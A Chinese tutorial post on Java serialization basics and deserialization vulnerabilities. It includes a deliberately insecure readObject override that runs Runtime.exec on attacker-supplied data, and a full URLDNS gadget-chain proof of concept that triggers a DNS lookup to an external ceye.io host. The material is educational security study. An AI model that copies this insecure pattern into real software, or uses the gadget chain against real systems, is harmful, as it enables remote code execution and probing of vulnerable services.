Java 反序列化基础

前言

在学习java io流操作时涉及到了序列化和反序列化,顺便就把这节内容单独写出来。

序列化与反序列化

Java序列化是指把Java对象转换为字节序列的过程,而Java反序列化是指把字节序列恢复为Java对象的过程。
序列化将数据分解成字节流,以便存储在文件中或在网络上传输。反序列化则将打开字节流并重构成对象,恢复数据。

  • ObjectOutputStream 类的 writeObject() 方法可以实现序列化,将对象转化为字节流。
  • ObjectInputStream 类的 readObject() 方法用于反序列化,将字节流重构为对象。

序列化实现的方式是

  • 将要序列化的类必须实现 Serializabel 接口,标识该类可序列化。
  • 类里面需要提供常量值serialVersionUID

注意:serialVersionUID 用来表明类的不同版本间的兼容性,在反序列化过程中用于验证序列化对象的发送者和接收者是否为该对象加载了与序列化兼容的类。在进行反序列化时,JVM会把传来的字节流中的serialVersionUID与本地相应实体类的serialVersionUID进行比较,如果相同就认为是一致的,可以进行反序列化,否则就会出现序列化版本不一致的异常(InvalidCastException)。
serialVersionUID 有两种显示的生成方式

  • 一种是默认的1L,如:
private static final long serialVersionUID = 1L;
  • 第二种是是根据类名、接口名、成员方法及属性等来生成一个64位的哈希字段,如:
private static final  long   serialVersionUID = xxxxL;

静态成员变量是不能被序列化。
transient 标识的成员变量不参与序列化。

实例

创建Person类

import java.io.Serializable;
public class Person implements Serializable {
    public  static final long serialVersionUID = 1L;
    private String name;
    private int age;

    public Person(String name, int age) {
        this.name = name;
        this.age = age;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }

    public void setAge(int age) {
        this.age = age;
    }

    @Override
    public String toString() {
        return "Person{" +
                "name='" + name + '\'' +
                ", age=" + age +
                '}';
    }
}

用序列化的方式将person类写入test.dat中

     public void test1() throws IOException {
        FileOutputStream fileOutputStream = new FileOutputStream("test.dat");
        ObjectOutputStream obos = new ObjectOutputStream(fileOutputStream);
        obos.writeObject(new Person("cseroad",18));
        obos.close();
    }

查看二进制内容,ac ed 00 05是 java 序列化内容的特征

image.png

再用反序列化的方式读入person类

    public void test2() throws IOException, ClassNotFoundException {
        FileInputStream fileInputStream = new FileInputStream("test.dat");
        ObjectInputStream obis = new ObjectInputStream(fileInputStream);
        System.out.println(obis.readObject());
    }
image.png

如果标记agetransient,则age不参与序列化操作。
反序列化结果随机为

image.png

反序列化漏洞

在反序列化代码中,ObjectInputStream的readObject方法将数据流序列化为对象。
如果 readObject() 方法被重写且编写不当,反序列化时就会调用重写的 readObject() 方法并导致恶意代码执行。
即Person类重写构造器

    public Person(String name, int age,String cmd) {
        this.name = name;
        this.age = age;
        this.cmd = cmd;
    }

重写readObject方法

    private void readObject(java.io.ObjectInputStream stream) throws Exception {
        stream.defaultReadObject();
        // 执行默认的 readObject() 方法
        Runtime.getRuntime().exec(cmd);
    }

重新序列化操作

    public void test1() throws IOException {
        FileOutputStream fileOutputStream = new FileOutputStream("test.dat");
        ObjectOutputStream obos = new ObjectOutputStream(fileOutputStream);
        obos.writeObject(new Person("cseroad",18,"/System/Applications/Calculator.app/Contents/MacOS/Calculator"));
        obos.close();
    }

当再次执行反序列化操作时,命令就会得以执行。

    public void test2() throws IOException, ClassNotFoundException {
        FileInputStream fileInputStream = new FileInputStream("test.dat");
        ObjectInputStream obis = new ObjectInputStream(fileInputStream);
        System.out.println(obis.readObject());
    }
image.png

实际应用的反序列化漏洞会更加复杂。
至少需要满足以下几点:
共同条件:继承 Serializable

  • 入口类 source (即找到重写 readObject方法,调用常见的函数,参数类型宽泛 最好 jdk 自带)
  • 调用链 gadget chain (基于类的默认方式调用)
  • 执行类 sink (RCE、SSRF、写文件等操作)

DNSURL gadge 分析

首先HashMap类里重写了readObject方法,该方法的putVal方法会读取键和值并放入HashMap

image.png

查看hash方法的源代码

image.png

如果 key == null,hashcode 赋值为 0。key 存在的话,则调用 key 的hashcode方法。

假设key传递的是URL对象,就会调用URL对象的hashcode方法。

image.png

当 hashcode 不为 -1时,就会返回hashcode
当 hashcode == -1 时,就会调用URLStreamHandler类hashCode方法。

image.png

在第359行,调用getHostAddress获取域名对应的 IP。

捋清楚以上过程,我们尝试编写一下poc。
创建HashMap集合,再创建一个URL对象并添加进去,然后进行序列化和反序列化。

    public void poc1() throws IOException, ClassNotFoundException {
        HashMap<Object, Object> hashMap = new HashMap();
        URL url = new URL("http://dwig13.ceye.io");
        hashMap.put(url, "111");
        serialize(hashMap);
        unserialize();
    }

执行后发现竟然执行了两次查询。

image.png

当序列化操作时,就会进行一次DNS查询。跟进代码查看

image.png

调用put方法时就会执行hash方法,然后调用URL对象的hashcode方法。

image.png

进而执行了URLStreamHandler类hashCode方法,调用getHostAddress获取域名对应的 IP。
所以要想序列化时不进行DNS查询,在序列化的时候,需要设置hashcode不为 -1。
那如何设置hashcode值呢?利用反射修改hashcode值。

Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true);
f.set(url, 0xabcdef);

设置hashcode0xabcdef,即11259375。

image.png

当执行到URL对象的hashcode方法时,hashcode不为-1,直接return

image.png

以上就解决了序列化的过程。而反序列化时需要进行DNS查询,所以在hashMap的put之后,再将hashcode修改回-1。

    public void poc1() throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        HashMap<Object, Object> hashMap = new HashMap();
        URL url = new URL("http://dwig13.ceye.io");
        Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
        f.setAccessible(true);
        f.set(url, 0xabcdef);
        hashMap.put(url, "111");
        f.set(url, -1);
        serialize(hashMap);
        unserialize();
    }
image.png

回顾整个过程,简单画个思维脑图

image.png

完整poc为


import org.junit.Test;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class TcpTest {
    public void serialize(Object obj) throws IOException {
        FileOutputStream fileOutputStream = new FileOutputStream("test.dat");
        ObjectOutputStream obos = new ObjectOutputStream(fileOutputStream);
        obos.writeObject(obj);
        obos.close();
    }
    public void unserialize() throws IOException, ClassNotFoundException {
        FileInputStream fileInputStream = new FileInputStream("test.dat");
        ObjectInputStream obis = new ObjectInputStream(fileInputStream);
        obis.readObject();
    }
    @Test
    public void poc1() throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        HashMap<Object, Object> hashMap = new HashMap();
        URL url = new URL("http://dwig13.ceye.io");
        Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
        f.setAccessible(true);
        f.set(url, 0xabcdef);
        hashMap.put(url, "111");
        f.set(url, -1);
        serialize(hashMap);
        unserialize();
    }

}

总结

通过java基础的序列化操作,利用IDEA debug操作和一点反射内容分析了最简单的DNSURL 调用链。

参考资料

https://xz.aliyun.com/t/6787#toc-10
https://xz.aliyun.com/t/9417

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 162,547评论 4 374
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 68,787评论 2 308
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 112,175评论 0 254
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 44,752评论 0 223
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 53,169评论 3 297
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 41,056评论 1 226
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 32,195评论 2 321
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,980评论 0 214
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,724评论 1 250
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,872评论 2 254
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,344评论 1 265
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,667评论 3 264
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,379评论 3 245
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,202评论 0 9
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,992评论 0 201
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 36,189评论 2 286
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,987评论 2 279

推荐阅读更多精彩内容